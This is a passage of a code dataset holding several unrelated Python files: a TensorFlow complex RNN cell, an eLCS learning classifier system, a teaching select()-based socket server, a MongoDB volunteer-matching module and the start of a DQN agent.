tf.complex(sin_list_1_re, sin_list_1_im)\n\n if capacity_b != capacity_a:\n cos_list_1 = tf.concat([cos_list_1, tf.complex(tf.zeros([1, hidden_size]), tf.zeros([1, hidden_size]))], 0)\n sin_list_1 = tf.concat([sin_list_1, tf.complex(tf.zeros([1, hidden_size]), tf.zeros([1, hidden_size]))], 0)\n\n diag_vec = tf.reshape(tf.concat([cos_list_0, cos_list_1], 1), [capacity_a*2, hidden_size])\n off_vec = tf.reshape(tf.concat([sin_list_0, sin_list_1], 1), [capacity_a*2, hidden_size])\n\n if capacity_b != capacity_a:\n diag_vec = tf.slice(diag_vec, [0, 0], [capacity, hidden_size])\n off_vec = tf.slice(off_vec, [0, 0], [capacity, hidden_size])\n\n def _toTensorArray(elems):\n\n elems = tf.convert_to_tensor(elems)\n n = tf.shape(elems)[0]\n elems_ta = tf.TensorArray(dtype=elems.dtype, size=n, dynamic_size=False, infer_shape=True, clear_after_read=False)\n elems_ta = elems_ta.unstack(elems)\n return elems_ta\n\n diag_vec = _toTensorArray(diag_vec)\n off_vec = _toTensorArray(off_vec)\n\n omega = vs.get_variable(\"omega\", [hidden_size], initializer=theta_phi_initializer)\n diag = tf.complex(tf.cos(omega), tf.sin(omega))\n\n return diag_vec, off_vec, diag, capacity\n\n\ndef _complexrnn_loop(state, capacity, diag_vec_list, off_vec_list, diag):\n \"\"\"\n Complex RNN main loop, applying unitary matrix on input tensor\n \"\"\"\n i = 0\n def layer_tunable(x, i):\n\n diag_vec = diag_vec_list.read(i)\n off_vec = off_vec_list.read(i)\n\n diag = tf.multiply(x, diag_vec)\n off = tf.multiply(x, off_vec)\n\n def even_input(off, size):\n\n def even_s(off, size):\n off = tf.reshape(off, [-1, size//2, 2])\n off = tf.reshape(tf.reverse(off, [2]), [-1, size])\n return off\n\n def odd_s(off, size):\n off, helper = tf.split(off, [size-1, 1], 1)\n size -= 1\n off = even_s(off, size)\n off = tf.concat([off, helper], 1)\n return off\n\n off = tf.cond(tf.equal(tf.mod(size, 2), 0), lambda: even_s(off, size), lambda: odd_s(off, size))\n return off\n\n def odd_input(off, size):\n helper, off = tf.split(off, [1, size-1], 1)\n size -= 1\n off = even_input(off, size)\n off = tf.concat([helper, off], 1)\n return off\n\n size = int(off.get_shape()[1])\n off = tf.cond(tf.equal(tf.mod(i, 2), 0), lambda: even_input(off, size), lambda: odd_input(off, size))\n\n layer_output = diag + off\n i += 1\n\n return layer_output, i\n\n layer_function = layer_tunable\n output, _ = tf.while_loop(lambda state, i: tf.less(i, capacity), layer_function, [state, i])\n\n if not diag is None:\n output = tf.multiply(output, diag)\n\n\n return output\n\nclass ComplexRNNCell(RNNCell):\n \"\"\"Efficient Unitary Network Cell\n The implementation is based on: http://arxiv.org/abs/1612.05231.\n\n Args:\n hidden_size (Integer): The number of units in the RNN cell, hidden layer size.\n capacity (Integer) (Optional): Only works for tunable style.\n \"\"\"\n\n def __init__(self, hidden_size, capacity=2, activation=modrelu):\n super(ComplexRNNCell, self).__init__()\n self._hidden_size = hidden_size\n self._activation = activation\n self._capacity = capacity\n\n self.diag_vec, self.off_vec, self.diag, self._capacity = _complexrnn_param(hidden_size, capacity)\n\n\n\n @property\n def state_size(self):\n return self._hidden_size\n\n @property\n def output_size(self):\n return self._hidden_size\n\n @property\n def capacity(self):\n return self._capacity\n\n def __call__(self, inputs, state, scope=None):\n \"\"\"The most basic EUNN cell.\n Args:\n inputs (Tensor - batch_sz x num_in): One batch of cell input.\n state (Tensor - batch_sz x num_units): Previous cell state\n Returns:\n A tuple (outputs, state):\n outputs (Tensor - batch_sz x num_units): Cell outputs on the whole batch: COMPLEX\n state (Tensor - batch_sz x num_units): New state of the cell: COMPLEX\n \"\"\"\n with vs.variable_scope(scope or \"complexrnn_cell\"):\n\n state = _complexrnn_loop(state, self._capacity, self.diag_vec, self.off_vec, self.diag)\n V_init_val = np.sqrt(6.)/np.sqrt(10 + 10)\n input_matrix_init = tf.random_uniform_initializer(-V_init_val, V_init_val)\n input_matrix_re = vs.get_variable(\"U_re\", [inputs.get_shape()[-1], self._hidden_size], initializer=input_matrix_init)\n input_matrix_im = vs.get_variable(\"U_im\", [inputs.get_shape()[-1], self._hidden_size], initializer=input_matrix_init)\n inputs_re = tf.matmul(inputs, input_matrix_re)\n inputs_im = tf.matmul(inputs, input_matrix_im)\n inputs = tf.complex(inputs_re, inputs_im)\n\n bias = vs.get_variable(\"modReLUBias\", [self._hidden_size], initializer=tf.constant_initializer())\n output = self._activation((inputs + state), bias)\n\n return output, output\n","sub_path":"complex_valued_models/ComplexRNN.py","file_name":"ComplexRNN.py","file_ext":"py","file_size_in_byte":9414,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"272947923","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Nov 20 10:21:52 2020\n\n@author: karthik & Pavi\n\"\"\"\n\nimport random as rand\nimport numpy as np \n\n\nclass CellType:\n def __init__(self, name, ID, K, r, N0):\n self.name = name\n self.ID = ID\n self.K = K\n self.r = r\n self.N0 = N0\n self.Nt = 0\n self.NtMinus = 0\n ","sub_path":"Codes/CellType.py","file_name":"CellType.py","file_ext":"py","file_size_in_byte":375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"638614152","text":"from eLCS.Constants import cons\nfrom eLCS.ClassifierSet import ClassifierSet\nfrom eLCS.Prediction import Prediction\nfrom eLCS.ClassAccuracy import ClassAccuracy\nfrom eLCS.OutputFileManager import OutputFileManager\n\nimport random\nimport math\n\n\nclass Algorithm(object):\n \"\"\"The major controlling module of eLCS.\n\n Includes the major run loop which controls learning over a specified number of iterations.\n Also includes periodic tracking of estimated performance, and checkpoints where complete\n evaluations of the eLCS rule population is performed.\n\n Two options are available for the initialisation of the algorithm\n 1. Do a Population reboot using an existing saved rule population, or\n 2. Build the Population from scratch from given data\n \"\"\"\n\n def __init__(self):\n \"\"\"Initializes the eLCS algorithm\"\"\"\n print(\"eLCS: Initializing Algorithm...\")\n\n # Global Parameters\n self.population = None # The rule population (the 'solution/model' evolved by eLCS)\n self.learnTrackOut = None # Output file that will store tracking information during learning\n self.cons = cons # Store a reference to the `cons` module\n\n # POPULATION REBOOT - Begin eLCS learning from an existing saved rule population\n if self.cons.doPopulationReboot:\n self.populationReboot()\n\n # NORMAL eLCS - Run eLCS from scratch on given data\n else:\n try:\n self.learnTrackOut = open(self.cons.outFileName + '_LearnTrack.txt', 'w')\n except Exception as inst:\n print(type(inst))\n print(inst.args)\n print(inst)\n print('cannot open', self.cons.outFileName + '_LearnTrack.txt')\n raise\n else:\n # Write the header for the output file\n self.learnTrackOut.write(\n \"Explore_Iteration\\tMacroPopSize\\tMicroPopSize\\t\"\n \"Accuracy_Estimate\\tAveGenerality\\tExpRules\\tTime(min)\\n\")\n\n # Instantiate Population\n self.population = ClassifierSet()\n self.exploreIter = 0 # Start the iterations at\n self.correct = [0.0 for i in range(cons.trackingFrequency)]\n\n # Run the eLCS algorithm\n self.run_eLCS()\n\n def run_eLCS(self):\n \"\"\"Runs eLCS algorithm, runs by default after the class has been initialised\"\"\"\n print(\"Learning Checkpoints: \" + str(cons.learningCheckpoints))\n print(\"Maximum Iterations: \" + str(cons.maxLearningIterations))\n print(\"Beginning eLCS learning iterations.\")\n print(\n \"------------------------------------------------------------------------------------------------------------------------------------------------------\")\n\n # Major learning iteration loop, represents the entire learning cycle\n while self.exploreIter < cons.maxLearningIterations:\n\n # Get new instance and run a learning iteration\n state_phenotype = cons.env.getTrainInstance()\n self.runIteration(state_phenotype, self.exploreIter)\n\n # EVALUATIONS OF ALGORITHM\n cons.timer.startTimeEvaluation()\n\n # TRACK LEARNING ESTIMATES\n if (self.exploreIter % cons.trackingFrequency) == (cons.trackingFrequency - 1) and self.exploreIter > 0:\n self.population.runPopAveEval(self.exploreIter)\n trackedAccuracy = sum(self.correct) / float(\n cons.trackingFrequency) # Accuracy over the last \"trackingFrequency\" number of iterations.\n\n self.learnTrackOut.write(\n self.population.getPopTrack(\n trackedAccuracy, self.exploreIter + 1, cons.trackingFrequency)\n ) # Report learning progress to standard out and tracking file.\n\n cons.timer.stopTimeEvaluation()\n\n # CHECKPOINT - COMPLETE EVALUTATION OF POPULATION - strategy different for discrete vs continuous phenotypes\n if (self.exploreIter + 1) in cons.learningCheckpoints:\n cons.timer.startTimeEvaluation()\n print(\n \"------------------------------------------------------------------------------------------------------------------------------------------------------\")\n print(\"Running Population Evaluation after \" + str(self.exploreIter + 1) + \" iterations.\")\n\n self.population.runPopAveEval(self.exploreIter)\n self.population.runAttGeneralitySum(True)\n cons.env.startEvaluationMode() # Preserves learning position in training data\n if cons.testFile != 'None': # If a testing file is available.\n if cons.env.formatData.discretePhenotype:\n trainEval = self.doPopEvaluation(True)\n testEval = self.doPopEvaluation(False)\n else:\n trainEval = self.doContPopEvaluation(True)\n testEval = self.doContPopEvaluation(False)\n else: # Only a training file is available\n if cons.env.formatData.discretePhenotype:\n trainEval = self.doPopEvaluation(True)\n testEval = None\n else:\n trainEval = self.doContPopEvaluation(True)\n testEval = None\n\n cons.env.stopEvaluationMode() # Returns to learning position in training data\n cons.timer.stopTimeEvaluation()\n cons.timer.returnGlobalTimer()\n\n # Write output files----------------------------------------------------------------------------------------------------------\n OutputFileManager().writePopStats(cons.outFileName, trainEval, testEval, self.exploreIter + 1,\n self.population, self.correct)\n OutputFileManager().writePop(cons.outFileName, self.exploreIter + 1, self.population)\n # ----------------------------------------------------------------------------------------------------------------------------\n\n print(\"Continue Learning...\")\n print(\n \"------------------------------------------------------------------------------------------------------------------------------------------------------\")\n\n # -------------------------------------------------------\n # ADJUST MAJOR VALUES FOR NEXT ITERATION\n # -------------------------------------------------------\n self.exploreIter += 1 # Increment current learning iteration\n cons.env.newInstance(True) # Step to next instance in training set\n\n # Once eLCS has reached the last learning iteration, close the tracking file \n self.learnTrackOut.close()\n print(\"eLCS Run Complete\")\n\n def runIteration(self, state_phenotype, exploreIter):\n \"\"\"Run a single eLCS learning iteration.\n\n :param list state_phenotype: Listing consisting of the training state and training phenotype\n :param int exploreIter: The current iteration\n :return:\n \"\"\"\n\n # Form a Match Set (includes covering)\n self.population.makeMatchSet(state_phenotype, exploreIter)\n\n # MAKE A PREDICTION - utilized here for tracking estimated learning progress.\n # Typically used in the explore phase of many LCS algorithms.\n cons.timer.startTimeEvaluation()\n prediction = Prediction(self.population)\n phenotypePrediction = prediction.getDecision()\n # -------------------------------------------------------\n # PREDICTION NOT POSSIBLE\n # -------------------------------------------------------\n if phenotypePrediction == None or phenotypePrediction == 'Tie':\n if cons.env.formatData.discretePhenotype:\n phenotypePrediction = random.choice(cons.env.formatData.phenotypeList)\n else:\n phenotypePrediction = random.randrange(cons.env.formatData.phenotypeList[0],\n cons.env.formatData.phenotypeList[1], (\n cons.env.formatData.phenotypeList[1] -\n cons.env.formatData.phenotypeList[0]) / float(1000))\n else: # Prediction Successful\n # -------------------------------------------------------\n # DISCRETE PHENOTYPE PREDICTION\n # -------------------------------------------------------\n if cons.env.formatData.discretePhenotype:\n if phenotypePrediction == state_phenotype[1]:\n self.correct[exploreIter % cons.trackingFrequency] = 1\n else:\n self.correct[exploreIter % cons.trackingFrequency] = 0\n # -------------------------------------------------------\n # CONTINUOUS PHENOTYPE PREDICTION\n # -------------------------------------------------------\n else:\n predictionError = math.fabs(phenotypePrediction - float(state_phenotype[1]))\n phenotypeRange = cons.env.formatData.phenotypeList[1] - cons.env.formatData.phenotypeList[0]\n accuracyEstimate = 1.0 - (predictionError / float(phenotypeRange))\n self.correct[exploreIter % cons.trackingFrequency] = accuracyEstimate\n cons.timer.stopTimeEvaluation()\n # -----------------------------------------------------------------------------------------------------------------------------------------\n # FORM A CORRECT SET\n # -----------------------------------------------------------------------------------------------------------------------------------------\n self.population.makeCorrectSet(state_phenotype[1])\n # -----------------------------------------------------------------------------------------------------------------------------------------\n # UPDATE PARAMETERS\n # -----------------------------------------------------------------------------------------------------------------------------------------\n self.population.updateSets(exploreIter)\n # -----------------------------------------------------------------------------------------------------------------------------------------\n # SUBSUMPTION - APPLIED TO CORRECT SET - A heuristic for addition additional generalization pressure to eLCS\n # -----------------------------------------------------------------------------------------------------------------------------------------\n if cons.doSubsumption:\n cons.timer.startTimeSubsumption()\n self.population.doCorrectSetSubsumption()\n cons.timer.stopTimeSubsumption()\n # -----------------------------------------------------------------------------------------------------------------------------------------\n # RUN THE GENETIC ALGORITHM - Discover new offspring rules from a selected pair of parents\n # -----------------------------------------------------------------------------------------------------------------------------------------\n self.population.runGA(exploreIter, state_phenotype[0], state_phenotype[1])\n # -----------------------------------------------------------------------------------------------------------------------------------------\n # SELECT RULES FOR DELETION - This is done whenever there are more rules in the population than 'N', the maximum population size.\n # -----------------------------------------------------------------------------------------------------------------------------------------\n self.population.deletion(exploreIter)\n self.population.clearSets() # Clears the match and correct sets for the next learning iteration\n\n def doPopEvaluation(self, isTrain):\n \"\"\"Performs a complete evaluation of the current rule population.\n\n The population is unchanged throughout this evaluation. Works on both training and testing data.\n\n :param isTrain:\n :return:\n \"\"\"\n\n if isTrain:\n myType = \"TRAINING\"\n else:\n myType = \"TESTING\"\n noMatch = 0 # How often does the population fail to have a classifier that matches an instance in the data.\n tie = 0 # How often can the algorithm not make a decision between classes due to a tie.\n cons.env.resetDataRef(isTrain) # Go to the first instance in dataset\n phenotypeList = cons.env.formatData.phenotypeList\n # ----------------------------------------------\n classAccDict = {}\n for each in phenotypeList:\n classAccDict[each] = ClassAccuracy()\n # ----------------------------------------------\n if isTrain:\n instances = cons.env.formatData.numTrainInstances\n else:\n instances = cons.env.formatData.numTestInstances\n # ----------------------------------------------------------------------------------------------\n for inst in range(instances):\n if isTrain:\n state_phenotype = cons.env.getTrainInstance()\n else:\n state_phenotype = cons.env.getTestInstance()\n # -----------------------------------------------------------------------------\n self.population.makeEvalMatchSet(state_phenotype[0])\n prediction = Prediction(self.population)\n phenotypeSelection = prediction.getDecision()\n # -----------------------------------------------------------------------------\n\n if phenotypeSelection == None:\n noMatch += 1\n elif phenotypeSelection == 'Tie':\n tie += 1\n else: # Instances which failed to be covered are excluded from the accuracy calculation\n for each in phenotypeList:\n thisIsMe = False\n accuratePhenotype = False\n truePhenotype = state_phenotype[1]\n if each == truePhenotype:\n thisIsMe = True\n if phenotypeSelection == truePhenotype:\n accuratePhenotype = True\n classAccDict[each].updateAccuracy(thisIsMe, accuratePhenotype)\n\n cons.env.newInstance(isTrain) # next instance\n self.population.clearSets()\n # ----------------------------------------------------------------------------------------------\n # Calculate Standard Accuracy--------------------------------------------\n instancesCorrectlyClassified = classAccDict[phenotypeList[0]].T_myClass + classAccDict[\n phenotypeList[0]].T_otherClass\n instancesIncorrectlyClassified = classAccDict[phenotypeList[0]].F_myClass + classAccDict[\n phenotypeList[0]].F_otherClass\n standardAccuracy = float(instancesCorrectlyClassified) / float(\n instancesCorrectlyClassified + instancesIncorrectlyClassified)\n\n # Calculate Balanced Accuracy---------------------------------------------\n T_mySum = 0\n T_otherSum = 0\n F_mySum = 0\n F_otherSum = 0\n for each in phenotypeList:\n T_mySum += classAccDict[each].T_myClass\n T_otherSum += classAccDict[each].T_otherClass\n F_mySum += classAccDict[each].F_myClass\n F_otherSum += classAccDict[each].F_otherClass\n balancedAccuracy = ((0.5 * T_mySum / (float(T_mySum + F_otherSum)) + 0.5 * T_otherSum / (\n float(T_otherSum + F_mySum)))) # BalancedAccuracy = (Specificity + Sensitivity)/2\n\n # Adjustment for uncovered instances - to avoid positive or negative bias we incorporate the probability of guessing a phenotype by chance (e.g. 50% if two phenotypes)\n predictionFail = float(noMatch) / float(instances)\n predictionTies = float(tie) / float(instances)\n instanceCoverage = 1.0 - predictionFail\n predictionMade = 1.0 - (predictionFail + predictionTies)\n\n adjustedStandardAccuracy = (standardAccuracy * predictionMade) + (\n (1.0 - predictionMade) * (1.0 / float(len(phenotypeList))))\n adjustedBalancedAccuracy = (balancedAccuracy * predictionMade) + (\n (1.0 - predictionMade) * (1.0 / float(len(phenotypeList))))\n\n # Adjusted Balanced Accuracy is calculated such that instances that did not match have a consistent probability of being correctly classified in the reported accuracy.\n print(\"-----------------------------------------------\")\n print(str(myType) + \" Accuracy Results:-------------\")\n print(\"Instance Coverage = \" + str(instanceCoverage * 100.0) + '%')\n print(\"Prediction Ties = \" + str(predictionTies * 100.0) + '%')\n print(str(instancesCorrectlyClassified) + ' out of ' + str(\n instances) + ' instances covered and correctly classified.')\n print(\"Standard Accuracy (Adjusted) = \" + str(adjustedStandardAccuracy))\n print(\"Balanced Accuracy (Adjusted) = \" + str(adjustedBalancedAccuracy))\n # Balanced and Standard Accuracies will only be the same when there are equal instances representative of each phenotype AND there is 100% covering.\n resultList = [adjustedBalancedAccuracy, instanceCoverage]\n return resultList\n\n def doContPopEvaluation(self, isTrain):\n \"\"\"Performs evaluation of population via the copied environment.\n\n Specifically developed for continuous phenotype evaulation. The population is maintained unchanging\n throughout the evaluation. Works on both training and testing data.\n\n :param isTrain:\n :return:\n \"\"\"\n if isTrain:\n myType = \"TRAINING\"\n else:\n myType = \"TESTING\"\n noMatch = 0 # How often does the population fail to have a classifier that matches an instance in the data.\n cons.env.resetDataRef(isTrain) # Go to first instance in data set\n accuracyEstimateSum = 0\n\n if isTrain:\n instances = cons.env.formatData.numTrainInstances\n else:\n instances = cons.env.formatData.numTestInstances\n # ----------------------------------------------------------------------------------------------\n for inst in range(instances):\n if isTrain:\n state_phenotype = cons.env.getTrainInstance()\n else:\n state_phenotype = cons.env.getTestInstance()\n # -----------------------------------------------------------------------------\n self.population.makeEvalMatchSet(state_phenotype[0])\n prediction = Prediction(self.population)\n phenotypePrediction = prediction.getDecision()\n # -----------------------------------------------------------------------------\n if phenotypePrediction == None:\n noMatch += 1\n else: # Instances which failed to be covered are excluded from the initial accuracy calculation\n predictionError = math.fabs(float(phenotypePrediction) - float(state_phenotype[1]))\n phenotypeRange = cons.env.formatData.phenotypeList[1] - cons.env.formatData.phenotypeList[0]\n accuracyEstimateSum += 1.0 - (predictionError / float(phenotypeRange))\n\n cons.env.newInstance(isTrain) # next instance\n self.population.clearSets()\n # ----------------------------------------------------------------------------------------------\n # Accuracy Estimate\n if instances == noMatch:\n accuracyEstimate = 0\n else:\n accuracyEstimate = accuracyEstimateSum / float(instances - noMatch)\n\n # Adjustment for uncovered instances - to avoid positive or negative bias we incorporate the probability of guessing a phenotype by chance (e.g. 50% if two phenotypes)\n instanceCoverage = 1.0 - (float(noMatch) / float(instances))\n adjustedAccuracyEstimate = accuracyEstimateSum / float(\n instances) # noMatchs are treated as incorrect predictions (can see no other fair way to do this)\n\n print(\"-----------------------------------------------\")\n print(str(myType) + \" Accuracy Results:-------------\")\n print(\"Instance Coverage = \" + str(instanceCoverage * 100.0) + '%')\n print(\"Estimated Prediction Accuracy (Ignore uncovered) = \" + str(accuracyEstimate))\n print(\"Estimated Prediction Accuracy (Penalty uncovered) = \" + str(adjustedAccuracyEstimate))\n # Balanced and Standard Accuracies will only be the same when there are equal instances representative of each phenotype AND there is 100% covering.\n resultList = [adjustedAccuracyEstimate, instanceCoverage]\n return resultList\n\n def populationReboot(self):\n \"\"\"Manages the reformation of a previously saved eLCS classifier population\"\"\"\n\n cons.timer.setTimerRestart(cons.popRebootPath) # Rebuild timer objects\n # --------------------------------------------------------------------\n try: # Re-open track learning file for continued tracking of progress.\n self.learnTrackOut = open(cons.outFileName + '_LearnTrack.txt', 'a')\n except Exception as inst:\n print(type(inst))\n print(inst.args)\n print(inst)\n print('cannot open', cons.outFileName + '_LearnTrack.txt')\n raise\n\n # Extract last iteration from file name---------------------------------------------\n temp = cons.popRebootPath.split('_')\n iterRef = len(temp) - 1\n completedIterations = int(temp[iterRef])\n print(\"Rebooting rule population after \" + str(completedIterations) + \" iterations.\")\n self.exploreIter = completedIterations - 1\n for i in range(len(cons.learningCheckpoints)):\n cons.learningCheckpoints[i] += completedIterations\n cons.maxLearningIterations += completedIterations\n\n # Rebuild existing population from text file\n self.population = ClassifierSet(cons.popRebootPath)\n # ---------------------------------------------------\n try: # Obtain correct track\n f = open(cons.popRebootPath + \"_PopStats.txt\", 'r')\n except Exception as inst:\n print(type(inst))\n print(inst.args)\n print(inst)\n print('cannot open', cons.popRebootPath + \"_PopStats.txt\")\n raise\n else:\n correctRef = 26 # File reference position\n tempLine = None\n for i in range(correctRef):\n tempLine = f.readline()\n tempList = tempLine.strip().split('\\t')\n self.correct = tempList\n if cons.env.formatData.discretePhenotype:\n for i in range(len(self.correct)):\n self.correct[i] = int(self.correct[i])\n else:\n for i in range(len(self.correct)):\n self.correct[i] = float(self.correct[i])\n f.close()\n\n def getRuntimeParams(self):\n return self.population.runtimeParams\n\n\n def plotResult(self):\n \"\"\"Plot the runtime params from the execution of the LCS\"\"\"\n pass\n\n\n","sub_path":"eLCS/Algorithm.py","file_name":"Algorithm.py","file_ext":"py","file_size_in_byte":23419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"354416146","text":"# select_server.py\nimport sys\nfrom socket import *\nfrom select import *\ns = socket()\ns.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\ns.bind(('0.0.0.0', 8888))\ns.listen(10)\n# 将关注的IO放入rlist\nrlist = [s]\nwlist = []\nxlist = [s]\nwhile True:\n r, w, x = select(rlist, wlist, xlist)\n for i in r:\n if i is s:\n connfd, addr = i.accept()\n print('connect from', addr)\n # 将新的套接字加入到关注列表\n rlist.append(connfd)\n else:\n try:\n data = i.recv(1024)\n if not data:\n rlist.remove(i)\n i.close()\n else:\n print('recv from', i.getpeername(),\n ':', data.decode())\n wlist.append(i)\n except Exception:\n pass\n for j in w:\n j.send('习大大'.encode())\n wlist.remove(j)\n for k in x:\n if k is s:\n s.close()\n sys.exit()\n","sub_path":"2-第二阶段/4-PyNET/1-net/day29IO多路复用,本地套接字/ex/select_server.py","file_name":"select_server.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"417312718","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 18-1-14 上午12:38\n# @Author : Zhang_xq\n# @File : err_reraise.py\n# @Software: PyCharm\n\n\ndef foo(s):\n n = int(s)\n if n == 0:\n raise ValueError('invalid value1: %s' % s)\n return 10 / n\n\n\ndef bar():\n try:\n foo('0')\n except ValueError as e:\n print('ValueError!')\n raise\n\n\nbar()\n\ntry:\n 10 / 0\nexcept ZeroDivisionError:\n raise ValueError('input Er2222ror!')","sub_path":"debug/err_reraise.py","file_name":"err_reraise.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"262224229","text":"import pymongo\nimport pandas as pd\nimport optimizer_postprocessing as o_post\n\n\ndef get_filtered_df(db, mama_id_list, garfield_id_list):\n \"\"\" \n Given Pandas DFs for Mama IDs and Garfield IDs, return two dfs ready for optimization\n \"\"\"\n df_mama = pd.DataFrame(list(db.mama.find({'_id': {\"$in\": mama_id_list}, \"active\": True})))\n df_mama = df_mama.set_index('_id')\n if len(mama_id_list) == len(df_mama):\n print(\"\\nMama database successfully extracted from Mongo\")\n print(\"Mama DF Length:\", len(df_mama))\n print(\"Expected Mama DF Length:\", len(mama_id_list))\n else:\n print(\"\\nUnexpected row count in mama DF\")\n print(\"Mama DF Length:\", len(df_mama))\n print(\"Expected Mama DF Length:\", len(mama_id_list))\n\n\n df_garfield = pd.DataFrame(list(db.garfield.find({'_id': {\"$in\": garfield_id_list}, \"active\": True})))\n df_garfield = df_garfield.set_index('_id')\n df_garfield['request_date'] = pd.to_datetime(df_garfield['request_date'])\n if len(df_garfield) == len(garfield_id_list): \n print(\"\\nGarfield database successfully extracted from Mongo\")\n print(\"Garfield DF Length:\", len(df_garfield))\n print(\"Expected Garfield DF Length:\", len(garfield_id_list)) \n else:\n print(\"\\nUnexpected row count in Garfield DF\")\n print(\"Mama DF Length:\", len(df_garfield))\n print(\"Expected Mama DF Length:\", len(garfield_id_list))\n \n if 'address_concat' not in df_garfield.columns:\n df_garfield[\"address_concat\"] = df_garfield[\"address\"]+\", \"+ df_garfield[\"city\"]+\", \"+ df_garfield[\"state\"]+\", \"+ df_garfield[\"zip_code\"]\n \n return df_mama, df_garfield\n\n\ndef update_optimization_status(db, run_ID, message):\n \"\"\"Update the optimization status table with a message\"\"\"\n\n db['optimize-control'].find_one_and_update({\"_id\": run_ID}, {\"$set\":{\"status\": message}})\n \n print(\"Succesfully updated optimization status to:\", message)\n print(\"RunID:\", run_ID)\n return\n\n\ndef push_stats_to_mongo(db, run_ID, kpi_dict):\n \n db['optimize-control'].find_one_and_update({\"_id\": run_ID}, {\"$push\":{\"kpi\": kpi_dict}})\n \n print(\"Successfully loaded KPIs to optimize-control table\")\n print(\"RunID:\", run_ID)\n\n return\n\ndef write_matches_to_mongo(db, df_mama_ready, df_garfield_ready, run_ID, matches, mama_id, gg_dist_dict, mg_dist_dict, max_dist_mama, mama_capacity): \n \n matched_mamas_list = []\n unmatched_mamas_list = []\n \n for i in mama_id:\n\n mama_name = df_mama_ready.loc[i, \"name\"]\n mama_freq = df_mama_ready.loc[i, \"frequency\"]\n distmax = round(max_dist_mama[i])\n max_cap_mama = round(mama_capacity[i])\n email = df_mama_ready.loc[i, \"email\"]\n phone = str(df_mama_ready.loc[i, \"phone\"])\n address = str(df_mama_ready.loc[i, \"address\"])\n form_url = str(df_mama_ready.loc[i, \"url\"])\n special_capabilities = o_post.is_special(df_garfield_ready, df_mama_ready,i, \"mama\")\n\n\n mama_garfields = []\n for (i2, j2) in matches.keys():\n if i == i2:\n mama_garfields.append(j2)\n\n max_cluster_dist = 0\n for g1 in mama_garfields:\n for g2 in mama_garfields:\n max_cluster_dist = max(max_cluster_dist, gg_dist_dict[(g1, g2)])\n\n num_lasagnas = 0\n max_garfield_dist = 0\n special_str = ''\n for g1 in mama_garfields:\n max_garfield_dist = max(max_garfield_dist, mg_dist_dict[(i, g1)]) \n num_lasagnas += matches[(i,g1)]\n if len(o_post.is_special(df_garfield_ready, df_mama_ready,g1, \"garfield\"))>0:\n special_str += o_post.is_special(df_garfield_ready, df_mama_ready,g1, \"garfield\")+\";\"\n special_str = special_str[0:-1]\n \n \n temp_garfield_list = []\n for g1 in mama_garfields:\n temp_garfield_dict = {\n \"garfield_id\": str(g1),\n 'Name': df_garfield_ready.loc[g1, \"name\"], \n 'Email': df_garfield_ready.loc[g1, \"email\"], \n 'Phone Number': df_garfield_ready.loc[g1, \"phone\"], \n 'Address': df_garfield_ready.loc[g1, \"address_concat\"],\n 'Quantity': round(matches[(i,g1)]),\n 'Distance': round(mg_dist_dict[(i, g1)],1),\n 'Special Requests': o_post.is_special(df_garfield_ready, df_mama_ready,g1, \"garfield\"),\n 'Request Date': df_garfield_ready.loc[g1, \"request_date\"]\n }\n temp_garfield_list.append(temp_garfield_dict)\n \n temp_dict = {\n 'mama_id': str(i),\n 'Name': mama_name, \n 'Email': email,\n 'Phone Number': phone,\n 'Address': address,\n 'Form URL': form_url,\n 'Frequency': mama_freq,\n 'Max Capacity': max_cap_mama , \n 'Lasagnas Matches': round(num_lasagnas), \n 'Capacity Usage': str(round(num_lasagnas))+'/'+str(max_cap_mama),\n 'Distance Limit': distmax, \n 'Furthest Garfield': round(max_garfield_dist,1), \n 'Cluster Distance': round(max_cluster_dist,1) , \n 'Distance Usage': \"Distance Limit: \"+str(distmax)+\", Furthest Garfield: \"+str(round(max_garfield_dist,1))+\", Max Cluster Dist: \"+str(round(max_cluster_dist,1)) , \n 'Special Capabilities': special_capabilities,\n 'Special Capabilities in Matching': special_str, \n 'Garfields': temp_garfield_list\n\n }\n \n if len(mama_garfields)==0:\n unmatched_mamas_list.append(temp_dict)\n else:\n matched_mamas_list.append(temp_dict)\n \n \n # Upload to Mongo\n upload_dict = {\"_id\": run_ID, \n \"matched_mamas\": matched_mamas_list,\n \"unmatched_mamas\": unmatched_mamas_list\n }\n \n \n db['optimize-results'].replace_one({\"_id\": run_ID}, upload_dict, upsert = True)\n \n print(\"Succesfully wrote matches for\", len(mama_id), \"mamas to the database\")\n print(\"RunID:\", run_ID)\n\n \n return\n\n\n","sub_path":"lm-optimizer/mongo_interface.py","file_name":"mongo_interface.py","file_ext":"py","file_size_in_byte":6120,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"269390478","text":"from tensorflow.keras.models import Model\nfrom tensorflow.keras.layers import Dense, Activation\nfrom tensorflow.keras.callbacks import TensorBoard\nfrom tensorflow.keras.optimizers import Adam\nfrom collections import deque\nimport numpy as np\nimport random\nimport time\nimport tensorflow as tf\nfrom tqdm import tqdm\nimport os\nfrom PIL import Image\nimport cv2\n\nDISCOUNT = 0.99\nREPLAY_MEMORY_SIZE = 50_000 # How many last steps to keep for model training\nMIN_REPLAY_MEMORY_SIZE = 1_000 # Minimum number of steps in a memory to start training\nMINIBATCH_SIZE = 64 # How many steps (samples) to use for training\nUPDATE_TARGET_EVERY = 5 # Terminal states (end of episodes)\nMODEL_NAME = '2x256'\nMIN_REWARD = -200 # For model save\nMEMORY_FRACTION = 0.20\n\n# Environment settings\nEPISODES = 20\n\n# Exploration settings\nepsilon = 1 # not a constant, going to be decayed\nEPSILON_DECAY = 0.99975\nMIN_EPSILON = 0.001\n\n# Stats settings\nAGGREGATE_STATS_EVERY = 50 # episodes\nSHOW_PREVIEW = False\n\nclass DQNAgent:\n def __init__(self, model_path):\n # main 